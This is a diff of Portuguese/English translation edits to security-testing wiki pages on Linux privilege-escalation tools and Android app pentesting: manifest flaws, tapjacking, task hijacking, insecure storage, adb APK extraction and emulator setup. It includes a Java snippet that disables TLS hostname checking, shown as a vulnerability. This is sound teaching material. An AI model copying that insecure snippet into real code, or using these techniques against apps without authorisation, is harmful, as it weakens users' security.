V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart`, e às vezes `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts SysVinit ainda são usados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciamento de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, os scripts do SysVinit ainda são utilizados junto com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. -**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização de daemons sob demanda, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes da distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. +**systemd** surge como um inicializador moderno e gerenciador de serviços, oferecendo recursos avançados como inicialização de daemons sob demanda, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o gerenciamento do sistema. -## Outras Dicas +## Outros Truques ### NFS Privilege escalation @@ -1432,25 +1431,25 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks normalmente hookam um syscall para expor funcionalidades privilegiadas do kernel a um gerenciador em userspace. Autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem de FD ou esquemas de senha fracos) pode permitir que um app local se passe pelo gerenciador e escale para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui: +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Proteções de Segurança do Kernel +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Mais ajuda +## More help -[Binários estáticos do impacket](https://github.com/ropnop/impacket_static_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Melhor ferramenta para procurar vetores locais de privilege escalation no Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1460,8 +1459,8 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (acesso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilação de mais scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referências diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 3606b6d1b..81da38e61 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Fundamentos das Aplicações Android +## Noções Básicas sobre Aplicações Android -É altamente recomendado começar lendo esta página para conhecer as **partes mais importantes relacionadas à segurança do Android e os componentes mais perigosos em uma aplicação Android**: +É fortemente recomendado começar lendo esta página para conhecer as **partes mais importantes relacionadas à segurança Android e os componentes mais perigosos em uma aplicação Android**: {{#ref}} @@ -13,15 +13,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Esta é a ferramenta principal que você precisa para conectar-se a um dispositivo Android (emulado ou físico).\ -**ADB** permite controlar dispositivos via **USB** ou **rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, a **instalação** e **desinstalação** de apps, a **execução** de comandos shell, o **backup** de dados, a **leitura** de logs, entre outras funções. +Esta é a ferramenta principal que você precisa para se conectar a um dispositivo Android (emulado ou físico).\ +**ADB** permite controlar dispositivos tanto via **USB** quanto via **Network** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de apps, **execução** de comandos shell, **backup** de dados, **leitura** de logs, entre outras funções. -Confira a seguinte lista de [**ADB Commands**](adb-commands.md) para aprender a usar o adb. +Dê uma olhada na seguinte lista de [**ADB Commands**](adb-commands.md) para aprender a usar o adb. ## Smali -Às vezes é interessante **modificar o código da aplicação** para acessar **informações ocultas** (talvez senhas bem ofuscadas ou flags). Então, pode ser interessante decompilar o apk, modificar o código e recompilá-lo.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Isto pode ser muito útil como uma **alternativa para vários testes durante a dynamic analysis** que serão apresentados. Então, **mantenha sempre em mente essa possibilidade**. +Às vezes é interessante **modificar o código da aplicação** para acessar **informações ocultas** (talvez senhas ou flags bem ofuscadas). Nesse caso, pode ser interessante decompilar o APK, modificar o código e recompilá-lo.\ +[**Neste tutorial** você pode **aprender como decompilar um APK, modificar código Smali e recompilar o APK** com a nova funcionalidade](smali-changes.md). Isso pode ser muito útil como uma **alternativa para vários testes durante a análise dinâmica** que serão apresentados. Portanto, **mantenha sempre em mente essa possibilidade**. ## Outros truques interessantes @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Mescle todos os splits e os apks base com [APKEditor](https://github.com/REAndroid/APKEditor): +- Mescle todos os splits e os base apks com [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## Estudos de Caso e Vulnerabilidades +## Estudos de Caso & Vulnerabilidades {{#ref}} @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Análise Estática -Primeiro de tudo, para analisar um APK você deve **dar uma olhada no código Java** usando um decompilador.\ -Por favor, [**leia aqui para encontrar informação sobre diferentes decompiladores disponíveis**](apk-decompilers.md). +First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ +Please, [**read here to find information about different available decompilers**](apk-decompilers.md). ### Procurando informações interessantes -Apenas olhando as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais admin hardcoded no app). +Basta olhar as **strings** do APK para procurar **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de admin hardcoded no app). **Firebase** -Preste atenção especial às **Firebase URLs** e verifique se estão mal configuradas. [Mais informações sobre o que é Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Preste atenção especial às URLs do **Firebase** e verifique se está mal configurado. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Entendimento básico da aplicação - Manifest.xml, strings.xml +### Compreensão básica da aplicação - Manifest.xml, strings.xml -A **examinação dos arquivos _Manifest.xml_ e **_strings.xml_** de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando o arquivo APK para .zip e descompactando-o. +A **examinação dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompilers ou renomeando a extensão do APK para .zip e então descompactando-o. -As **vulnerabilidades** identificadas a partir do **Manifest.xml** incluem: +**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem: -- **Debuggable Applications**: Aplicações definidas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ apresentam risco, pois permitem conexões que podem levar à exploração. Para entender melhor como explorar aplicações debuggable, consulte um tutorial sobre encontrar e explorar aplicações debuggable em um dispositivo. -- **Backup Settings**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups não autorizados via adb, especialmente quando usb debugging está habilitado. -- **Network Security**: Configurações customizadas de network security (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como certificate pins e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos. +- **Debuggable Applications**: Aplicações definidas como debuggable (`debuggable="true"`) no _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para mais detalhes sobre como explorar aplicações debuggable, consulte um tutorial sobre encontrar e explorar aplicações debuggable em um dispositivo. +- **Backup Settings**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis, para prevenir backups não autorizados via adb, especialmente quando o usb debugging está habilitado. +- **Network Security**: Configurações customizadas de network security (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como certificate pins e configurações de HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos. - **Exported Activities and Services**: Identificar activities e services exportados no manifest pode evidenciar componentes que podem ser mal utilizados. Análises adicionais durante testes dinâmicos podem revelar como explorar esses componentes. -- **Content Providers and FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser cuidadosamente verificada. -- **Broadcast Receivers and URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção particular à forma como os URL schemes são gerenciados quanto a vulnerabilidades de input. -- **SDK Versions**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, ressaltando a importância de não suportar versões antigas e vulneráveis do Android por razões de segurança. +- **Content Providers and FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser examinada. +- **Broadcast Receivers and URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial em como as URL schemes são gerenciadas para vulnerabilidades de input. +- **SDK Versions**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões antigas e vulneráveis do Android por motivos de segurança. -Do arquivo **strings.xml**, podem ser descobertas informações sensíveis como API keys, custom schemas e outras notas de desenvolvedor, reforçando a necessidade de revisão cuidadosa desses recursos. +A partir do **strings.xml**, informações sensíveis como API keys, custom schemas e outras notas de desenvolvedores podem ser descobertas, ressaltando a necessidade de revisar cuidadosamente esses recursos. ### Tapjacking -**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona por cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface é projetada de forma a enganar o usuário para interagir com ela, enquanto está repassando a interação para o app vítima.\ -Na prática, isso **cega o usuário quanto ao fato de estar, na verdade, executando ações no app vítima**. +**Tapjacking** é um ataque onde uma **malicious application** é lançada e se **posiciona sobre uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface é projetada de forma a enganar o usuário para interagir com ela, enquanto repassa a interação para o app vítima.\ +Em efeito, é **cegar o usuário quanto ao fato de que ele está realmente realizando ações no app vítima**. -Encontre mais informação em: +Find more information in: {{#ref}} @@ -104,9 +104,9 @@ tapjacking.md ### Task Hijacking -Uma **activity** com o **`launchMode`** definido como **`singleTask` sem qualquer `taskAffinity`** definida é vulnerável a Task Hijacking. Isso significa que uma **aplicação** pode ser instalada e, se iniciada antes da aplicação real, ela pode **hijackar a task da aplicação real** (fazendo com que o usuário interaja com a **aplicação maliciosa achando que está usando a aplicação legítima**). +Uma **activity** com o **`launchMode`** definido como **`singleTask` sem qualquer `taskAffinity`** definida é vulnerável ao Task Hijacking. Isso significa que uma **application** pode ser instalada e, se iniciada antes da aplicação real, poderia **hijackar a task da aplicação real** (então o usuário estará interagindo com a **malicious application** pensando que está usando a aplicação real). -Mais info em: +More info in: {{#ref}} @@ -115,71 +115,71 @@ android-task-hijacking.md ### Armazenamento de dados inseguro -**Internal Storage** +**Armazenamento Interno** -No Android, arquivos **armazenados** no **internal** storage são **projetados** para serem **acessíveis** exclusivamente pela **app** que os **criou**. Essa medida de segurança é **aplicada** pelo sistema operacional Android e é geralmente suficiente para a maioria das aplicações. No entanto, desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. Esses modos, entretanto, **não restringem o acesso** a esses arquivos por outras aplicações, incluindo potencialmente maliciosas. +No **Android**, arquivos **armazenados** no **internal storage** são **projetados** para serem **acessíveis** exclusivamente pela **app** que os **criou**. Essa medida de segurança é **aplicada** pelo sistema operacional Android e é geralmente adequada para as necessidades de segurança da maioria das aplicações. No entanto, desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. Ainda assim, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo potenciais maliciosas. -1. **Análise Estática:** -- **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente revisado**. Esses modos **podem expor** arquivos a **acesso não intencional ou não autorizado**. -2. **Análise Dinâmica:** -- **Verifique** as **permissões** definidas nos arquivos criados pelo app. Especificamente, **confirme** se algum arquivo está **configurado para ser legível ou gravável mundialmente**. Isso pode representar um risco significativo de segurança, pois permitiria que **qualquer aplicação** instalada no dispositivo, independentemente de sua origem ou intenção, **leia ou modifique** esses arquivos. +1. **Static Analysis:** +- **Ensure** que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente escrutinado**. Esses modos **podem expor potencialmente** arquivos a **acessos não intencionais ou não autorizados**. +2. **Dynamic Analysis:** +- **Verify** as **permissions** definidas em arquivos criados pelo app. Especificamente, **cheque** se algum arquivo está **definido como legível ou gravável mundialmente**. Isso pode representar um risco significativo de segurança, pois permitiria **qualquer aplicação** instalada no dispositivo, independentemente de sua origem ou intenção, a **ler ou modificar** esses arquivos. -**External Storage** +**Armazenamento Externo** -Ao lidar com arquivos em **external storage**, como SD Cards, certas precauções devem ser tomadas: +Ao lidar com arquivos no **external storage**, como SD Cards, certas precauções devem ser tomadas: -1. **Acessibilidade**: +1. **Accessibility**: - Arquivos no external storage são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicação ou usuário pode acessar esses arquivos. -2. **Preocupações de Segurança**: +2. **Security Concerns**: - Dada a facilidade de acesso, é recomendado **não armazenar informações sensíveis** no external storage. - O external storage pode ser removido ou acessado por qualquer aplicação, tornando-o menos seguro. -3. **Tratamento de Dados vindos do External Storage**: -- Sempre **execute validação de input** nos dados recuperados do external storage. Isso é crucial porque os dados vêm de uma fonte não confiável. -- Armazenar executáveis ou arquivos de classe no external storage para carregamento dinâmico é fortemente desaconselhado. -- Se sua aplicação precisa recuperar arquivos executáveis do external storage, garanta que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Esse passo é vital para manter a integridade de segurança da aplicação. +3. **Handling Data from External Storage**: +- Sempre **realize validação de entrada** nos dados recuperados do external storage. Isso é crucial porque os dados vêm de uma fonte não confiável. +- Evite armazenar executáveis ou arquivos de classe no external storage para carregamento dinâmico. +- Se sua aplicação precisar recuperar arquivos executáveis do external storage, assegure que esses arquivos estejam **signed and cryptographically verified** antes de serem carregados dinamicamente. Esse passo é vital para manter a integridade de segurança da sua aplicação. External storage pode ser **acessado** em `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] > A partir do Android 4.4 (**API 17**), o SD card possui uma estrutura de diretórios que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou escrita aos arquivos de outro app. -**Dados sensíveis armazenados em texto simples** +**Dados sensíveis armazenados em texto claro** -- **Shared preferences**: O Android permite que cada aplicação salve facilmente arquivos xml no caminho `/data/data//shared_prefs/` e às vezes é possível encontrar informações sensíveis em clear-text nessa pasta. -- **Databases**: O Android permite que cada aplicação salve facilmente bancos sqlite no caminho `/data/data//databases/` e às vezes é possível encontrar informações sensíveis em clear-text nessa pasta. +- **Shared preferences**: O Android permite que cada aplicação salve facilmente arquivos xml no caminho `/data/data//shared_prefs/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta. +- **Databases**: O Android permite que cada aplicação salve facilmente bancos sqlite no caminho `/data/data//databases/` e às vezes é possível encontrar informações sensíveis em texto claro nessa pasta. ### Broken TLS **Accept All Certificates** -Por alguma razão, às vezes desenvolvedores aceitam todos os certificados mesmo se, por exemplo, o hostname não corresponder, com linhas de código como a seguinte: +Por alguma razão, às vezes os desenvolvedores aceitam todos os certificados mesmo que, por exemplo, o hostname não coincida, com linhas de código como a seguinte: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -Uma boa forma de testar isso é tentar capturar o tráfego usando algum proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Também, você pode gerar com o Burp um certificado para um hostname diferente e usá-lo. +Uma boa forma de testar isso é tentar capturar o tráfego usando algum proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Além disso, você pode gerar com o Burp um certificado para um hostname diferente e usá-lo. -### Criptografia fraca +### Criptografia Quebrada -**Processos pobres de gerenciamento de chaves** +**Processos de gerenciamento de chaves inadequados** -Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave hardcoded/preditiva no código. Isso não deveria ser feito, pois algum reversing pode permitir que atacantes extraiam a informação confidencial. +Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave hardcoded/predictable no código. Isso não deve ser feito, pois algum reversing pode permitir que atacantes extraiam as informações confidenciais. -**Uso de algoritmos inseguros e/ou depreciados** +**Uso de algoritmos inseguros e/ou obsoletos** -Desenvolvedores não deveriam usar **algoritmos depreciados** para realizar **checks** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** são usados para armazenar senhas por exemplo, hashes resistentes a brute-force deveriam ser usados com salt. +Developers não devem usar **deprecated algorithms** para realizar verificações de authorisation **checks**, **store** ou **send** data. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** são usados para armazenar passwords por exemplo, devem ser usados hashes resistentes a brute-force com salt. -### Outros checks +### Outras verificações -- É recomendado **ofuscar o APK** para dificultar o trabalho de reverse engineer para atacantes. -- Se o app for sensível (como apps bancários), ele deveria executar seus **próprios checks para ver se o mobile está rooted** e agir em consequência. -- Se o app for sensível (como apps bancários), ele deveria checar se um **emulador** está sendo usado. -- Se o app for sensível (como apps bancários), ele deveria **checar sua própria integridade antes de executar** para verificar se foi modificado. -- Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compiler/packer/obfuscator foi usado para construir o APK +- É recomendado **obfuscar o APK** para dificultar o trabalho de reverse engineer aos atacantes. +- Se o app for sensível (como apps bancários), ele deve realizar suas **próprias verificações para ver se o mobile está rooted** e agir em conformidade. +- Se o app for sensível (como apps bancários), ele deve verificar se um **emulator** está sendo usado. +- Se o app for sensível (como apps bancários), ele deve **verificar sua própria integridade antes de executar** para checar se foi modificado. +- Use [**APKiD**](https://github.com/rednaga/APKiD) para checar qual compiler/packer/obfuscator foi usado para construir o APK ### React Native Application -Leia a página a seguir para aprender como acessar facilmente o código javascript de aplicações React: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -Leia a página a seguir para aprender como acessar facilmente o código C# de aplicações xamarin: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -197,17 +197,17 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap ### Superpacked Applications -De acordo com este [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um app que descomprima esse tipo de apps... e uma forma mais rápida que envolve **executar a aplicação e coletar os arquivos descomprimidos do filesystem.** +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** -### Análise Estática Automatizada de Código +### Automated Static Code Analysis -A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** escaneando o **code** da aplicação. Essa ferramenta contém uma série de **known sources** (que indicam ao tool os **lugares** onde a **input** é **controlada pelo usuário**), **sinks** (que indicam ao tool **lugares perigosos** onde input maliciosa do usuário poderia causar danos) e **rules**. Essas rules indicam a **combinação** de **sources-sinks** que sinaliza uma vulnerabilidade. +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -Com esse conhecimento, **mariana-trench irá revisar o code e encontrar possíveis vulnerabilidades nele**. +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -Uma aplicação pode conter segredos (API keys, passwords, hidden urls, subdomains...) dentro dela que você pode ser capaz de descobrir. Você pode usar uma ferramenta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -216,14 +216,14 @@ Uma aplicação pode conter segredos (API keys, passwords, hidden urls, subdomai bypass-biometric-authentication-android.md {{#endref}} -### Outras funções interessantes +### Other interesting functions - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` -- **Native functions** declaradas como `native`: `public native, System.loadLibrary, System.load` -- [Leia isto para aprender **como reverter native functions**](reversing-native-libraries.md) +- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` +- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -### **Outros truques** +### **Other tricks** {{#ref}} @@ -234,25 +234,25 @@ content-protocol.md --- -## Análise Dinâmica +## Dynamic Analysis -> Antes de tudo, você precisa de um ambiente onde possa instalar a aplicação e todo o ambiente (Burp CA cert, Drozer e Frida principalmente). Portanto, um dispositivo rooted (emulado ou não) é altamente recomendado. +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. -### Análise dinâmica Online +### Online Dynamic analysis -Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io/). Essa plataforma permite **upload** e **execução** de APKs, então é útil para ver como um apk está se comportando. +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -Você pode até **ver os logs da sua aplicação** na web e conectar via **adb**. +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -Graças à conexão ADB você pode usar **Drozer** e **Frida** dentro dos emuladores. +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. -### Análise Dinâmica Local +### Local Dynamic Analysis -#### Usando um emulador +#### Using an emulator -- [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**isso**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**as versões x86 mais recentes** **suportam ARM libraries** sem precisar de um emulador arm lento). +- [**Android Studio**](https://developer.android.com/studio) (Você pode criar **x86** e **arm** devices, e de acordo com [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** sem precisar de um lento emulator arm). - Aprenda a configurá-lo nesta página: @@ -260,127 +260,127 @@ Graças à conexão ADB você pode usar **Drozer** e **Frida** dentro dos emulad avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(versão gratuita:** Personal Edition, você precisa criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar potenciais erros._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Personal Edition, é necessário criar uma conta. _É recomendado **baixar** a versão **WITH** _**VirtualBox** para evitar erros potenciais._) - [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer). > [!TIP] -> Ao criar um novo emulador em qualquer plataforma lembre-se que quanto maior a tela, mais lento o emulador irá rodar. Então selecione telas pequenas se possível. +> Ao criar um novo emulator em qualquer plataforma lembre-se que quanto maior a tela, mais lento o emulator irá rodar. Então selecione telas pequenas se possível. -Para **instalar google services** (como AppStore) no Genymotion você precisa clicar no botão marcado em vermelho da imagem a seguir: +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar **Bridge Network mode** (isso será útil se você for conectar na VM Android a partir de uma VM diferente com as ferramentas). +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). -#### Use um dispositivo físico +#### Use a physical device -Você precisa ativar as opções de **debugging** e será interessante se você puder **rootear** ele: +Você precisa ativar as opções de **debugging** e é recomendável que você possa **root** o dispositivo: -1. **Settings**. -2. (FromAndroid 8.0) Selecione **System**. -3. Selecione **About phone**. -4. Pressione **Build number** 7 vezes. -5. Volte e você encontrará as **Developer options**. +1. **Configurações**. +2. (A partir do Android 8.0) Selecione **Sistema**. +3. Selecione **Sobre o telefone**. +4. Pressione **Número da versão** 7 vezes. +5. Volte e você encontrará as **Opções do desenvolvedor**. -> Uma vez que você instalou a aplicação, a primeira coisa que deveria fazer é testá-la e investigar o que ela faz, como funciona e ficar confortável com ela.\ -> Sugiro **realizar essa análise dinâmica inicial usando MobSF dynamic analysis + pidcat**, assim seremos capazes de **aprender como a aplicação funciona** enquanto o MobSF **captura** muitos dados **interessantes** que você pode revisar mais tarde. +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. -### Vazamento de Dados Não Intencionais +### Unintended Data Leakage **Logging** -Desenvolvedores devem ter cuidado ao expor **informações de debugging** publicamente, pois isso pode levar a vazamento de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs da aplicação para identificar e proteger informação sensível. **Pidcat** é preferido por sua facilidade de uso e legibilidade. +Desenvolvedores devem ter cautela ao expor **informações de debugging** publicamente, pois isso pode levar a leak de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs da aplicação para identificar e proteger informações sensíveis. **Pidcat** é preferida por sua facilidade de uso e legibilidade. > [!WARNING] -> Note que a partir de **versões posteriores ao Android 4.0**, **aplicações só podem acessar seus próprios logs**. Portanto aplicações não podem acessar logs de outros apps.\ -> De qualquer forma, ainda é recomendado **não logar informações sensíveis**. +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. -**Cache do Clipboard / Copy-Paste** +**Copy/Paste Buffer Caching** -O framework baseado em **clipboard** do Android habilita a funcionalidade de copy-paste em apps, mas representa um risco já que **outras aplicações** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de 